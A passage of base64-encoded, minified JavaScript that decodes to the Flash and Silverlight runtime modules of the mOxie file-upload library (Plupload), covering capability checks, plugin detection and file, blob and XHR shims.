nVjdG9yKCJmbGFzaCIsZnVuY3Rpb24obil7dmFyIHIsZSxvPXRoaXM7bj1zLmV4dGVuZCh7c3dmX3VybDphLnN3Zl91cmx9LG4pLGwuY2FsbCh0aGlzLG4sImZsYXNoIix7YWNjZXNzX2JpbmFyeTpmdW5jdGlvbihlKXtyZXR1cm4gZSYmImJyb3dzZXIiPT09by5tb2RlfSxhY2Nlc3NfaW1hZ2VfYmluYXJ5OmZ1bmN0aW9uKGUpe3JldHVybiBlJiYiYnJvd3NlciI9PT1vLm1vZGV9LGRpc3BsYXlfbWVkaWE6bC5jYXBUZXN0KGQoIm1veGllL2ltYWdlL0ltYWdlIikpLGRvX2NvcnM6bC5jYXBUcnVlLGRyYWdfYW5kX2Ryb3A6ITEscmVwb3J0X3VwbG9hZF9wcm9ncmVzczpmdW5jdGlvbigpe3JldHVybiJjbGllbnQiPT09by5tb2RlfSxyZXNpemVfaW1hZ2U6bC5jYXBUcnVlLHJldHVybl9yZXNwb25zZV9oZWFkZXJzOiExLHJldHVybl9yZXNwb25zZV90eXBlOmZ1bmN0aW9uKGUpe3JldHVybiEoImpzb24iIT09ZXx8IXdpbmRvdy5KU09OKXx8IXMuYXJyYXlEaWZmKGUsWyIiLCJ0ZXh0IiwiZG9jdW1lbnQiXSl8fCJicm93c2VyIj09PW8ubW9kZX0scmV0dXJuX3N0YXR1c19jb2RlOmZ1bmN0aW9uKGUpe3JldHVybiJicm93c2VyIj09PW8ubW9kZXx8IXMuYXJyYXlEaWZmKGUsWzIwMCw0MDRdKX0sc2VsZWN0X2ZpbGU6bC5jYXBUcnVlLHNlbGVjdF9tdWx0aXBsZTpsLmNhcFRydWUsc2VuZF9iaW5hcnlfc3RyaW5nOmZ1bmN0aW9uKGUpe3JldHVybiBlJiYiYnJvd3NlciI9PT1vLm1vZGV9LHNlbmRfYnJvd3Nlcl9jb29raWVzOmZ1bmN0aW9uKGUpe3JldHVybiBlJiYiYnJvd3NlciI9PT1vLm1vZGV9LHNlbmRfY3VzdG9tX2hlYWRlcnM6ZnVuY3Rpb24oZSl7cmV0dXJuIGUmJiJicm93c2VyIj09PW8ubW9kZX0sc2VuZF9tdWx0aXBhcnQ6bC5jYXBUcnVlLHNsaWNlX2Jsb2I6ZnVuY3Rpb24oZSl7cmV0dXJuIGUmJiJicm93c2VyIj09PW8ubW9kZX0sc3RyZWFtX3VwbG9hZDpmdW5jdGlvbihlKXtyZXR1cm4gZSYmImJyb3dzZXIiPT09by5tb2RlfSxzdW1tb25fZmlsZV9kaWFsb2c6ITEsdXBsb2FkX2ZpbGVzaXplOmZ1bmN0aW9uKGUpe3JldHVybiBzLnBhcnNlU2l6ZVN0cihlKTw9MjA5NzE1Mnx8ImNsaWVudCI9PT1vLm1vZGV9LHVzZV9odHRwX21ldGhvZDpmdW5jdGlvbihlKXtyZXR1cm4hcy5hcnJheURpZmYoZSxbIkdFVCIsIlBPU1QiXSl9fSx7YWNjZXNzX2JpbmFyeTpmdW5jdGlvbihlKXtyZXR1cm4gZT8iYnJvd3NlciI6ImNsaWVudCJ9LGFjY2Vzc19pbWFnZV9iaW5hcnk6ZnVuY3Rpb24oZSl7cmV0dXJuIGU/ImJyb3dzZXIiOiJjbGllbnQifSxyZXBvcnRfdXBsb2FkX3Byb2dyZXNzOmZ1bmN0aW9uKGUpe3JldHVybiBlPyJicm93c2VyIjoiY2xpZW50In0scmV0dXJuX3Jlc3BvbnNlX3R5cGU6ZnVuY3Rpb24oZSl7cmV0dXJuIHMuYXJyYXlEaWZmKGUsWyIiLCJ0ZXh0IiwianNvbiIsImRvY3VtZW50Il0pPyJicm93c2VyIjpbImNsaWVudCIsImJyb3dzZXIiXX0scmV0dXJuX3N0YXR1c19jb2RlOmZ1bmN0aW9uKGUpe3JldHVybiBzLmFycmF5RGlmZihlLFsyMDAsNDA0XSk/ImJyb3dzZXIiOlsiY2xpZW50IiwiYnJvd3NlciJdfSxzZW5kX2JpbmFyeV9zdHJpbmc6ZnVuY3Rpb24oZSl7cmV0dXJuIGU/ImJyb3dzZXIiOiJjbGllbnQifSxzZW5kX2Jyb3dzZXJfY29va2llczpmdW5jdGlvbihlKXtyZXR1cm4gZT8iYnJvd3NlciI6ImNsaWVudCJ9LHNlbmRfY3VzdG9tX2hlYWRlcnM6ZnVuY3Rpb24oZSl7cmV0dXJuIGU/ImJyb3dzZXIiOiJjbGllbnQifSxzbGljZV9ibG9iOmZ1bmN0aW9uKGUpe3JldHVybiBlPyJicm93c2VyIjoiY2xpZW50In0sc3RyZWFtX3VwbG9hZDpmdW5jdGlvbihlKXtyZXR1cm4gZT8iY2xpZW50IjoiYnJvd3NlciJ9LHVwbG9hZF9maWxlc2l6ZTpmdW5jdGlvbihlKXtyZXR1cm4gMjA5NzE1Mjw9cy5wYXJzZVNpemVTdHIoZSk/ImNsaWVudCI6ImJyb3dzZXIifX0sImNsaWVudCIpLGZ1bmN0aW9uKCl7dmFyIHQ7dHJ5e3Q9KHQ9bmF2aWdhdG9yLnBsdWdpbnNbIlNob2Nrd2F2ZSBGbGFzaCJdKS5kZXNjcmlwdGlvbn1jYXRjaChlKXt0cnl7dD1uZXcgQWN0aXZlWE9iamVjdCgiU2hvY2t3YXZlRmxhc2guU2hvY2t3YXZlRmxhc2giKS5HZXRWYXJpYWJsZSgiJHZlcnNpb24iKX1jYXRjaChlKXt0PSIwLjAifX1yZXR1cm4gdD10Lm1hdGNoKC9cZCsvZykscGFyc2VGbG9hdCh0WzBdKyIuIit0WzFdKX0oKTwxMS4zJiYodGhpcy5tb2RlPSExKSxzLmV4dGVuZCh0aGlzLHtnZXRTaGltOmZ1bmN0aW9uKCl7cmV0dXJuIHUuZ2V0KHRoaXMudWlkKX0sc2hpbUV4ZWM6ZnVuY3Rpb24oZSx0KXt2YXIgaT1bXS5zbGljZS5jYWxsKGFyZ3VtZW50cywyKTtyZXR1cm4gby5nZXRTaGltKCkuZXhlYyh0aGlzLnVpZCxlLHQsaSl9LGluaXQ6ZnVuY3Rpb24oKXt2YXIgZSx0LGk7aT10aGlzLmdldFNoaW1Db250YWluZXIoKSxzLmV4dGVuZChpLnN0eWxlLHtwb3NpdGlvbjoiYWJzb2x1dGUiLHRvcDoiLThweCIsbGVmdDoiLThweCIsd2lkdGg6IjlweCIsaGVpZ2h0OiI5cHgiLG92ZXJmbG93OiJoaWRkZW4ifSksZT0nPG9iamVjdCBpZD0iJyt0aGlzLnVpZCsnIiB0eXBlPSJhcHBsaWNhdGlvbi94LXNob2Nrd2F2ZS1mbGFzaCIgZGF0YT0iJytuLnN3Zl91cmwrJyIgJywiSUUiPT09YS5icm93c2VyJiYoZSs9J2NsYXNzaWQ9ImNsc2lkOmQyN2NkYjZlLWFlNmQtMTFjZi05NmI4LTQ0NDU1MzU0MDAwMCIgJyksZSs9J3dpZHRoPSIxMDAlIiBoZWlnaHQ9IjEwMCUiIHN0eWxlPSJvdXRsaW5lOjAiPjxwYXJhbSBuYW1lPSJtb3ZpZSIgdmFsdWU9Iicrbi5zd2ZfdXJsKyciIC8+PHBhcmFtIG5hbWU9ImZsYXNodmFycyIgdmFsdWU9InVpZD0nK2VzY2FwZSh0aGlzLnVpZCkrIiZ0YXJnZXQ9IitsLmdldEdsb2JhbEV2ZW50VGFyZ2V0KCkrJyIgLz48cGFyYW0gbmFtZT0id21vZGUiIHZhbHVlPSJ0cmFuc3BhcmVudCIgLz48cGFyYW0gbmFtZT0iYWxsb3dzY3JpcHRhY2Nlc3MiIHZhbHVlPSJhbHdheXMiIC8+PC9vYmplY3Q+JywiSUUiPT09YS5icm93c2VyPyh0PWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImRpdiIpLGkuYXBwZW5kQ2hpbGQodCksdC5vdXRlckhUTUw9ZSx0PWk9bnVsbCk6aS5pbm5lckhUTUw9ZSxyPXNldFRpbWVvdXQoZnVuY3Rpb24oKXtvJiYhby5pbml0aWFsaXplZCYmby50cmlnZ2VyKCJFcnJvciIsbmV3IGMuUnVudGltZUVycm9yKGMuUnVudGltZUVycm9yLk5PVF9JTklUX0VSUikpfSw1ZTMpfSxkZXN0cm95OihlPXRoaXMuZGVzdHJveSxmdW5jdGlvbigpe3ZhciB0LGk7dD1vLnVpZCwoaT11LmdldCh0KSkmJiJPQkpFQ1QiPT1pLm5vZGVOYW1lJiYoIklFIj09PWEuYnJvd3Nlcj8oaS5zdHlsZS5kaXNwbGF5PSJub25lIixmdW5jdGlvbiBlKCl7ND09aS5yZWFkeVN0YXRlP2Z1bmN0aW9uKGUpe3ZhciB0PXUuZ2V0KGUpO2lmKHQpe2Zvcih2YXIgaSBpbiB0KSJmdW5jdGlvbiI9PXR5cGVvZiB0W2ldJiYodFtpXT1udWxsKTt0LnBhcmVudE5vZGUucmVtb3ZlQ2hpbGQodCl9fSh0KTpzZXRUaW1lb3V0KGUsMTApfSgpKTppLnBhcmVudE5vZGUucmVtb3ZlQ2hpbGQoaSkpLGUuY2FsbChvKSxjbGVhclRpbWVvdXQociksbj1yPWU9bz1udWxsfSl9LHQpfSksdH0pLGUoIm1veGllL3J1bnRpbWUvZmxhc2gvZmlsZS9CbG9iIixbIm1veGllL3J1bnRpbWUvZmxhc2gvUnVudGltZSIsIm1veGllL2ZpbGUvQmxvYiJdLGZ1bmN0aW9uKGUsbyl7dmFyIHQ9e3NsaWNlOmZ1bmN0aW9uKGUsdCxpLG4pe3ZhciByPXRoaXMuZ2V0UnVudGltZSgpO3JldHVybiB0PDA/dD1NYXRoLm1heChlLnNpemUrdCwwKTowPHQmJih0PU1hdGgubWluKHQsZS5zaXplKSksaTwwP2k9TWF0aC5tYXgoZS5zaXplK2ksMCk6MDxpJiYoaT1NYXRoLm1pbihpLGUuc2l6ZSkpLChlPXIuc2hpbUV4ZWMuY2FsbCh0aGlzLCJCbG9iIiwic2xpY2UiLHQsaSxufHwiIikpJiYoZT1uZXcgbyhyLnVpZCxlKSksZX19O3JldHVybiBlLkJsb2I9dH0pLGUoIm1veGllL3J1bnRpbWUvZmxhc2gvZmlsZS9GaWxlSW5wdXQiLFsibW94aWUvcnVudGltZS9mbGFzaC9SdW50aW1lIiwibW94aWUvZmlsZS9GaWxlIiwibW94aWUvY29yZS91dGlscy9Eb20iLCJtb3hpZS9jb3JlL3V0aWxzL0Jhc2ljIl0sZnVuY3Rpb24oZSxyLG8scyl7dmFyIHQ9e2luaXQ6ZnVuY3Rpb24oZSl7dmFyIHQ9dGhpcyxpPXRoaXMuZ2V0UnVudGltZSgpLG49by5nZXQoZS5icm93c2VfYnV0dG9uKTtuJiYobi5zZXRBdHRyaWJ1dGUoInRhYmluZGV4IiwtMSksbj1udWxsKSx0aGlzLmJpbmQoIkNoYW5nZSIsZnVuY3Rpb24oKXt2YXIgZT1pLnNoaW1FeGVjLmNhbGwodCwiRmlsZUlucHV0IiwiZ2V0RmlsZXMiKTt0LmZpbGVzPVtdLHMuZWFjaChlLGZ1bmN0aW9uKGUpe3QuZmlsZXMucHVzaChuZXcgcihpLnVpZCxlKSl9KX0sOTk5KSx0aGlzLmdldFJ1bnRpbWUoKS5zaGltRXhlYy5jYWxsKHRoaXMsIkZpbGVJbnB1dCIsImluaXQiLHthY2NlcHQ6ZS5hY2NlcHQsbXVsdGlwbGU6ZS5tdWx0aXBsZX0pLHRoaXMudHJpZ2dlcigicmVhZHkiKX19O3JldHVybiBlLkZpbGVJbnB1dD10fSksZSgibW94aWUvcnVudGltZS9mbGFzaC9maWxlL0ZpbGVSZWFkZXIiLFsibW94aWUvcnVudGltZS9mbGFzaC9SdW50aW1lIiwibW94aWUvY29yZS91dGlscy9FbmNvZGUiXSxmdW5jdGlvbihlLHIpe3ZhciB0PXtyZWFkOmZ1bmN0aW9uKGksZSl7dmFyIG49dGhpcztyZXR1cm4gbi5yZXN1bHQ9IiIsInJlYWRBc0RhdGFVUkwiPT09aSYmKG4ucmVzdWx0PSJkYXRhOiIrKGUudHlwZXx8IiIpKyI7YmFzZTY0LCIpLG4uYmluZCgiUHJvZ3Jlc3MiLGZ1bmN0aW9uKGUsdCl7dCYmKG4ucmVzdWx0Kz1mdW5jdGlvbihlLHQpe3N3aXRjaChpKXtjYXNlInJlYWRBc1RleHQiOnJldHVybiByLmF0b2IoZSwidXRmOCIpO2Nhc2UicmVhZEFzQmluYXJ5U3RyaW5nIjpyZXR1cm4gci5hdG9iKGUpO2Nhc2UicmVhZEFzRGF0YVVSTCI6cmV0dXJuIGV9cmV0dXJuIG51bGx9KHQpKX0sOTk5KSxuLmdldFJ1bnRpbWUoKS5zaGltRXhlYy5jYWxsKHRoaXMsIkZpbGVSZWFkZXIiLCJyZWFkQXNCYXNlNjQiLGUudWlkKX19O3JldHVybiBlLkZpbGVSZWFkZXI9dH0pLGUoIm1veGllL3J1bnRpbWUvZmxhc2gvZmlsZS9GaWxlUmVhZGVyU3luYyIsWyJtb3hpZS9ydW50aW1lL2ZsYXNoL1J1bnRpbWUiLCJtb3hpZS9jb3JlL3V0aWxzL0VuY29kZSJdLGZ1bmN0aW9uKGUsbil7dmFyIHQ9e3JlYWQ6ZnVuY3Rpb24oZSx0KXt2YXIgaTtyZXR1cm4oaT10aGlzLmdldFJ1bnRpbWUoKS5zaGltRXhlYy5jYWxsKHRoaXMsIkZpbGVSZWFkZXJTeW5jIiwicmVhZEFzQmFzZTY0Iix0LnVpZCkpPygicmVhZEFzRGF0YVVSTCI9PT1lJiYoaT0iZGF0YToiKyh0LnR5cGV8fCIiKSsiO2Jhc2U2NCwiK2kpLGZ1bmN0aW9uKGUsdCl7c3dpdGNoKHQpe2Nhc2UicmVhZEFzVGV4dCI6cmV0dXJuIG4uYXRvYihlLCJ1dGY4Iik7Y2FzZSJyZWFkQXNCaW5hcnlTdHJpbmciOnJldHVybiBuLmF0b2IoZSk7Y2FzZSJyZWFkQXNEYXRhVVJMIjpyZXR1cm4gZX1yZXR1cm4gbnVsbH0oaSxlLHQudHlwZSkpOm51bGx9fTtyZXR1cm4gZS5GaWxlUmVhZGVyU3luYz10fSksZSgibW94aWUvcnVudGltZS9mbGFzaC9ydW50aW1lL1RyYW5zcG9ydGVyIixbIm1veGllL3J1bnRpbWUvZmxhc2gvUnVudGltZSIsIm1veGllL2ZpbGUvQmxvYiJdLGZ1bmN0aW9uKGUsbil7dmFyIHQ9e2dldEFzQmxvYjpmdW5jdGlvbihlKXt2YXIgdD10aGlzLmdldFJ1bnRpbWUoKSxpPXQuc2hpbUV4ZWMuY2FsbCh0aGlzLCJUcmFuc3BvcnRlciIsImdldEFzQmxvYiIsZSk7cmV0dXJuIGk/bmV3IG4odC51aWQsaSk6bnVsbH19O3JldHVybiBlLlRyYW5zcG9ydGVyPXR9KSxlKCJtb3hpZS9ydW50aW1lL2ZsYXNoL3hoci9YTUxIdHRwUmVxdWVzdCIsWyJtb3hpZS9ydW50aW1lL2ZsYXNoL1J1bnRpbWUiLCJtb3hpZS9jb3JlL3V0aWxzL0Jhc2ljIiwibW94aWUvZmlsZS9CbG9iIiwibW94aWUvZmlsZS9GaWxlIiwibW94aWUvZmlsZS9GaWxlUmVhZGVyU3luYyIsIm1veGllL3J1bnRpbWUvZmxhc2gvZmlsZS9GaWxlUmVhZGVyU3luYyIsIm1veGllL3hoci9Gb3JtRGF0YSIsIm1veGllL3J1bnRpbWUvVHJhbnNwb3J0ZXIiLCJtb3hpZS9ydW50aW1lL2ZsYXNoL3J1bnRpbWUvVHJhbnNwb3J0ZXIiXSxmdW5jdGlvbihlLGMsbCxyLG8sdCxkLGgpe3ZhciBpPXtzZW5kOmZ1bmN0aW9uKGUsaSl7ZnVuY3Rpb24gbigpe2UudHJhbnNwb3J0PWEubW9kZSxhLnNoaW1FeGVjLmNhbGwocywiWE1MSHR0cFJlcXVlc3QiLCJzZW5kIixlLGkpfWZ1bmN0aW9uIHQoZSx0KXthLnNoaW1FeGVjLmNhbGwocywiWE1MSHR0cFJlcXVlc3QiLCJhcHBlbmRCbG9iIixlLHQudWlkKSxpPW51bGwsbigpfWZ1bmN0aW9uIHIoZSx0KXt2YXIgaT1uZXcgaDtpLmJpbmQoIlRyYW5zcG9ydGluZ0NvbXBsZXRlIixmdW5jdGlvbigpe3QodGhpcy5yZXN1bHQpfSksaS50cmFuc3BvcnQoZS5nZXRTb3VyY2UoKSxlLnR5cGUse3J1aWQ6YS51aWR9KX12YXIgbyxzPXRoaXMsYT1zLmdldFJ1bnRpbWUoKTtpZihjLmlzRW1wdHlPYmooZS5oZWFkZXJzKXx8Yy5lYWNoKGUuaGVhZGVycyxmdW5jdGlvbihlLHQpe2Euc2hpbUV4ZWMuY2FsbChzLCJYTUxIdHRwUmVxdWVzdCIsInNldFJlcXVlc3RIZWFkZXIiLHQsZS50b1N0cmluZygpKX0pLGkgaW5zdGFuY2VvZiBkKWlmKGkuZWFjaChmdW5jdGlvbihlLHQpe2UgaW5zdGFuY2VvZiBsP289dDphLnNoaW1FeGVjLmNhbGwocywiWE1MSHR0cFJlcXVlc3QiLCJhcHBlbmQiLHQsZSl9KSxpLmhhc0Jsb2IoKSl7dmFyIHU9aS5nZXRCbG9iKCk7dS5pc0RldGFjaGVkKCk/cih1LGZ1bmN0aW9uKGUpe3UuZGVzdHJveSgpLHQobyxlKX0pOnQobyx1KX1lbHNlIGk9bnVsbCxuKCk7ZWxzZSBpIGluc3RhbmNlb2YgbD9pLmlzRGV0YWNoZWQoKT9yKGksZnVuY3Rpb24oZSl7aS5kZXN0cm95KCksaT1lLnVpZCxuKCl9KTooaT1pLnVpZCxuKCkpOm4oKX0sZ2V0UmVzcG9uc2U6ZnVuY3Rpb24oZSl7dmFyIHQsaSxuPXRoaXMuZ2V0UnVudGltZSgpO2lmKGk9bi5zaGltRXhlYy5jYWxsKHRoaXMsIlhNTEh0dHBSZXF1ZXN0IiwiZ2V0UmVzcG9uc2VBc0Jsb2IiKSl7aWYoaT1uZXcgcihuLnVpZCxpKSwiYmxvYiI9PT1lKXJldHVybiBpO3RyeXtpZih0PW5ldyBvLH5jLmluQXJyYXkoZSxbIiIsInRleHQiXSkpcmV0dXJuIHQucmVhZEFzVGV4dChpKTtpZigianNvbiI9PT1lJiZ3aW5kb3cuSlNPTilyZXR1cm4gSlNPTi5wYXJzZSh0LnJlYWRBc1RleHQoaSkpfWZpbmFsbHl7aS5kZXN0cm95KCl9fXJldHVybiBudWxsfSxhYm9ydDpmdW5jdGlvbigpe3RoaXMuZ2V0UnVudGltZSgpLnNoaW1FeGVjLmNhbGwodGhpcywiWE1MSHR0cFJlcXVlc3QiLCJhYm9ydCIpLHRoaXMuZGlzcGF0Y2hFdmVudCgicmVhZHlzdGF0ZWNoYW5nZSIpLHRoaXMuZGlzcGF0Y2hFdmVudCgiYWJvcnQiKX19O3JldHVybiBlLlhNTEh0dHBSZXF1ZXN0PWl9KSxlKCJtb3hpZS9ydW50aW1lL2ZsYXNoL2ltYWdlL0ltYWdlIixbIm1veGllL3J1bnRpbWUvZmxhc2gvUnVudGltZSIsIm1veGllL2NvcmUvdXRpbHMvQmFzaWMiLCJtb3hpZS9ydW50aW1lL1RyYW5zcG9ydGVyIiwibW94aWUvZmlsZS9CbG9iIiwibW94aWUvZmlsZS9GaWxlUmVhZGVyU3luYyJdLGZ1bmN0aW9uKGUsdCxvLHIsaSl7dmFyIG49e2xvYWRGcm9tQmxvYjpmdW5jdGlvbihlKXtmdW5jdGlvbiB0KGUpe24uc2hpbUV4ZWMuY2FsbChpLCJJbWFnZSIsImxvYWRGcm9tQmxvYiIsZS51aWQpLGk9bj1udWxsfXZhciBpPXRoaXMsbj1pLmdldFJ1bnRpbWUoKTtpZihlLmlzRGV0YWNoZWQoKSl7dmFyIHI9bmV3IG87ci5iaW5kKCJUcmFuc3BvcnRpbmdDb21wbGV0ZSIsZnVuY3Rpb24oKXt0KHIucmVzdWx0LmdldFNvdXJjZSgpKX0pLHIudHJhbnNwb3J0KGUuZ2V0U291cmNlKCksZS50eXBlLHtydWlkOm4udWlkfSl9ZWxzZSB0KGUuZ2V0U291cmNlKCkpfSxsb2FkRnJvbUltYWdlOmZ1bmN0aW9uKGUpe3JldHVybiB0aGlzLmdldFJ1bnRpbWUoKS5zaGltRXhlYy5jYWxsKHRoaXMsIkltYWdlIiwibG9hZEZyb21JbWFnZSIsZS51aWQpfSxnZXRJbmZvOmZ1bmN0aW9uKCl7dmFyIGU9dGhpcy5nZXRSdW50aW1lKCksdD1lLnNoaW1FeGVjLmNhbGwodGhpcywiSW1hZ2UiLCJnZXRJbmZvIik7cmV0dXJuIHQubWV0YSYmdC5tZXRhLnRodW1iJiZ0Lm1ldGEudGh1bWIuZGF0YSYmIShlLm1ldGEudGh1bWIuZGF0YSBpbnN0YW5jZW9mIHIpJiYodC5tZXRhLnRodW1iLmRhdGE9bmV3IHIoZS51aWQsdC5tZXRhLnRodW1iLmRhdGEpKSx0fSxnZXRBc0Jsb2I6ZnVuY3Rpb24oZSx0KXt2YXIgaT10aGlzLmdldFJ1bnRpbWUoKSxuPWkuc2hpbUV4ZWMuY2FsbCh0aGlzLCJJbWFnZSIsImdldEFzQmxvYiIsZSx0KTtyZXR1cm4gbj9uZXcgcihpLnVpZCxuKTpudWxsfSxnZXRBc0RhdGFVUkw6ZnVuY3Rpb24oKXt2YXIgZT10aGlzLmdldFJ1bnRpbWUoKS5JbWFnZS5nZXRBc0Jsb2IuYXBwbHkodGhpcyxhcmd1bWVudHMpO3JldHVybiBlPyhuZXcgaSkucmVhZEFzRGF0YVVSTChlKTpudWxsfX07cmV0dXJuIGUuSW1hZ2U9bn0pLGUoIm1veGllL3J1bnRpbWUvc2lsdmVybGlnaHQvUnVudGltZSIsWyJtb3hpZS9jb3JlL3V0aWxzL0Jhc2ljIiwibW94aWUvY29yZS91dGlscy9FbnYiLCJtb3hpZS9jb3JlL3V0aWxzL0RvbSIsIm1veGllL2NvcmUvRXhjZXB0aW9ucyIsIm1veGllL3J1bnRpbWUvUnVudGltZSJdLGZ1bmN0aW9uKHIsbyxzLGEsdSl7dmFyIGM9InNpbHZlcmxpZ2h0IixsPXt9O3JldHVybiB1LmFkZENvbnN0cnVjdG9yKGMsZnVuY3Rpb24oZSl7dmFyIHQsaSxuPXRoaXM7ZT1yLmV4dGVuZCh7eGFwX3VybDpvLnhhcF91cmx9LGUpLHUuY2FsbCh0aGlzLGUsYyx7YWNjZXNzX2JpbmFyeTp1LmNhcFRydWUsYWNjZXNzX2ltYWdlX2JpbmFyeTp1LmNhcFRydWUsZGlzcGxheV9tZWRpYTp1LmNhcFRlc3QoZCgibW94aWUvaW1hZ2UvSW1hZ2UiKSksZG9fY29yczp1LmNhcFRydWUsZHJhZ19hbmRfZHJvcDohMSxyZXBvcnRfdXBsb2FkX3Byb2dyZXNzOnUuY2FwVHJ1ZSxyZXNpemVfaW1hZ2U6dS5jYXBUcnVlLHJldHVybl9yZXNwb25zZV9oZWFkZXJzOmZ1bmN0aW9uKGUpe3JldHVybiBlJiYiY2xpZW50Ij09PW4ubW9kZX0scmV0dXJuX3Jlc3BvbnNlX3R5cGU6ZnVuY3Rpb24oZSl7cmV0dXJuImpzb24iIT09ZXx8ISF3aW5kb3cuSlNPTn0scmV0dXJuX3N0YXR1c19jb2RlOmZ1bmN0aW9uKGUpe3JldHVybiJjbGllbnQiPT09bi5tb2RlfHwhci5hcnJheURpZmYoZSxbMjAwLDQwNF0pfSxzZWxlY3RfZmlsZTp1LmNhcFRydWUsc2VsZWN0X211bHRpcGxlOnUuY2FwVHJ1ZSxzZW5kX2JpbmFyeV9zdHJpbmc6dS5jYXBUcnVlLHNlbmRfYnJvd3Nlcl9jb29raWVzOmZ1bmN0aW9uKGUpe3JldHVybiBlJiYiYnJvd3NlciI9PT1uLm1vZGV9LHNlbmRfY3VzdG9tX2hlYWRlcnM6ZnVuY3Rpb24oZSl7cmV0dXJuIGUmJiJjbGllbnQiPT09bi5tb2RlfSxzZW5kX211bHRpcGFydDp1LmNhcFRydWUsc2xpY2VfYmxvYjp1LmNhcFRydWUsc3RyZWFtX3VwbG9hZDohMCxzdW1tb25fZmlsZV9kaWFsb2c6ITEsdXBsb2FkX2ZpbGVzaXplOnUuY2FwVHJ1ZSx1c2VfaHR0cF9tZXRob2Q6ZnVuY3Rpb24oZSl7cmV0dXJuImNsaWVudCI9PT1uLm1vZGV8fCFyLmFycmF5RGlmZihlLFsiR0VUIiwiUE9TVCJdKX19LHtyZXR1cm5fcmVzcG9uc2VfaGVhZGVyczpmdW5jdGlvbihlKXtyZXR1cm4gZT8iY2xpZW50IjoiYnJvd3NlciJ9LHJldHVybl9zdGF0dXNfY29kZTpmdW5jdGlvbihlKXtyZXR1cm4gci5hcnJheURpZmYoZSxbMjAwLDQwNF0pPyJjbGllbnQiOlsiY2xpZW50IiwiYnJvd3NlciJdfSxzZW5kX2Jyb3dzZXJfY29va2llczpmdW5jdGlvbihlKXtyZXR1cm4gZT8iYnJvd3NlciI6ImNsaWVudCJ9LHNlbmRfY3VzdG9tX2hlYWRlcnM6ZnVuY3Rpb24oZSl7cmV0dXJuIGU/ImNsaWVudCI6ImJyb3dzZXIifSx1c2VfaHR0cF9tZXRob2Q6ZnVuY3Rpb24oZSl7cmV0dXJuIHIuYXJyYXlEaWZmKGUsWyJHRVQiLCJQT1NUIl0pPyJjbGllbnQiOlsiY2xpZW50IiwiYnJvd3NlciJdfX0pLGZ1bmN0aW9uKHQpe3ZhciBpLG4scixvLHMsYT0hMSx1PTA7dHJ5e3RyeXtuZXcgQWN0aXZlWE9iamVjdCgiQWdDb250cm9sLkFnQ29udHJvbCIpLklzVmVyc2lvblN1cHBvcnRlZCh0KSYmKGE9ITApfWNhdGNoKGUpe3ZhciBjPW5hdmlnYXRvci5wbHVnaW5zWyJTaWx2ZXJsaWdodCBQbHVnLUluIl07aWYoYyl7Zm9yKCIxLjAuMzAyMjYuMiI9PT0oaT1jLmRlc2NyaXB0aW9uKSYmKGk9IjIuMC4zMDIyNi4yIiksbj1pLnNwbGl0KCIuIik7MzxuLmxlbmd0aDspbi5wb3AoKTtmb3IoO24ubGVuZ3RoPDQ7KW4ucHVzaCgwKTtmb3Iocj10LnNwbGl0KCIuIik7NDxyLmxlbmd0aDspci5wb3AoKTtmb3IoO289cGFyc2VJbnQoclt1XSwxMCkscz1wYXJzZUludChuW3VdLDEwKSwrK3U8ci5sZW5ndGgmJm89PT1zOyk7bzw9cyYmIWlzTmFOKG8pJiYoYT0hMCl9fX1jYXRjaChlKXthPSExfXJldHVybiBhfSgiMi4wLjMxMDA1LjAiKSYmIk9wZXJhIiE9PW8uYnJvd3Nlcnx8KHRoaXMubW9kZT0hMSksci5leHRlbmQodGhpcyx7Z2V0U2hpbTpmdW5jdGlvbigpe3JldHVybiBzLmdldCh0aGlzLnVpZCkuY29udGVudC5Nb3hpZX0sc2hpbUV4ZWM6ZnVuY3Rpb24oZSx0KXt2YXIgaT1bXS5zbGljZS5jYWxsKGFyZ3VtZW50cywyKTtyZXR1cm4gbi5nZXRTaGltKCkuZXhlYyh0aGlzLnVpZCxlLHQsaSl9LGluaXQ6ZnVuY3Rpb24oKXt0aGlzLmdldFNoaW1Db250YWluZXIoKS5pbm5lckhUTUw9JzxvYmplY3QgaWQ9IicrdGhpcy51aWQrJyIgZGF0YT0iZGF0YTphcHBsaWNhdGlvbi94LXNpbHZlcmxpZ2h0LCIgdHlwZT0iYXBwbGljYXRpb24veC1zaWx2ZXJsaWdodC0yIiB3aWR0aD0iMTAwJSIgaGVpZ2h0PSIxMDAlIiBzdHlsZT0ib3V0bGluZTpub25lOyI+PHBhcmFtIG5hbWU9InNvdXJjZSIgdmFsdWU9IicrZS54YXBfdXJsKyciLz48cGFyYW0gbmFtZT0iYmFja2dyb3VuZCIgdmFsdWU9IlRyYW5zcGFyZW50Ii8+PHBhcmFtIG5hbWU9IndpbmRvd2xlc3MiIHZhbHVlPSJ0cnVlIi8+PHBhcmFtIG5hbWU9ImVuYWJsZWh0bWxhY2Nlc3MiIHZhbHVlPSJ0cnVlIi8+PHBhcmFtIG5hbWU9ImluaXRQYXJhbXMiIHZhbHVlPSJ1aWQ9Jyt0aGlzLnVpZCsiLHRhcmdldD0iK3UuZ2V0R2xvYmFsRXZlbnRUYXJnZXQoKSsnIi8+PC9vYmplY3Q+Jyx0PXNldFRpbWVvdXQoZnVuY3Rpb24oKXtuJiYhbi5pbml0aWFsaXplZCYmbi50cmlnZ2VyKCJFcnJvciIsbmV3IGEuUnVudGltZUVycm9yKGEuUnVudGltZUVycm9yLk5PVF9JTklUX0VSUikpfSwiV2luZG93cyIhPT1vLk9TPzFlNDo1ZTMpfSxkZXN0cm95OihpPXRoaXMuZGVzdHJveSxmdW5jdGlvbigpe2kuY2FsbChuKSxjbGVhclRpbWVvdXQodCksZT10PWk9bj1udWxsfSl9LGwpfSksbH0pLGUoIm1veGllL3J1bnRpbWUvc2lsdmVybGlnaHQvZmlsZS9CbG9iIixbIm1veGllL3J1bnRpbWUvc2lsdmVybGlnaHQvUnVudGltZSIsIm1veGllL2NvcmUvdXRpbHMvQmFzaWMiLCJtb3hpZS9ydW50aW1lL2ZsYXNoL2ZpbGUvQmxvYiJdLGZ1bmN0aW9uKGUsdCxpKXtyZXR1cm4gZS5CbG9iPXQuZXh0ZW5kKHt9LGkpfSksZSgibW94aWUvcnVudGltZS9zaWx2ZXJsaWdodC9maWxlL0ZpbGVJbnB1dCIsWyJtb3hpZS9ydW50aW1lL3NpbHZlcmxpZ2h0L1J1bnRpbWUiLCJtb3hpZS9maWxlL0ZpbGUiLCJtb3hpZS9jb3JlL3V0aWxzL0RvbSIsIm1veGllL2NvcmUvdXRpbHMvQmFzaWMiXSxmdW5jdGlvbihlL